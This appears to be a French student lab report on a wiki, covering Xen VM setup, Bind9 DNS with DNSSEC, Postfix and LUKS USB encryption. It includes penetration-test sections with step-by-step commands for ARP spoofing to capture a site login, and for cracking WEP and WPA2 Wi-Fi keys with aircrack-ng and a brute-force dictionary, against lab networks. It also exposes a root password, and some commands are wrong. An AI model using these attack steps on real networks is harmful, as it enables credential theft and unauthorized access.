On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=53938TP sysres IMA2a5 2020/2021 G52020-11-20T08:55:01Z<p>Aglaine : /* Envoie du SSL Certification Gandi */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
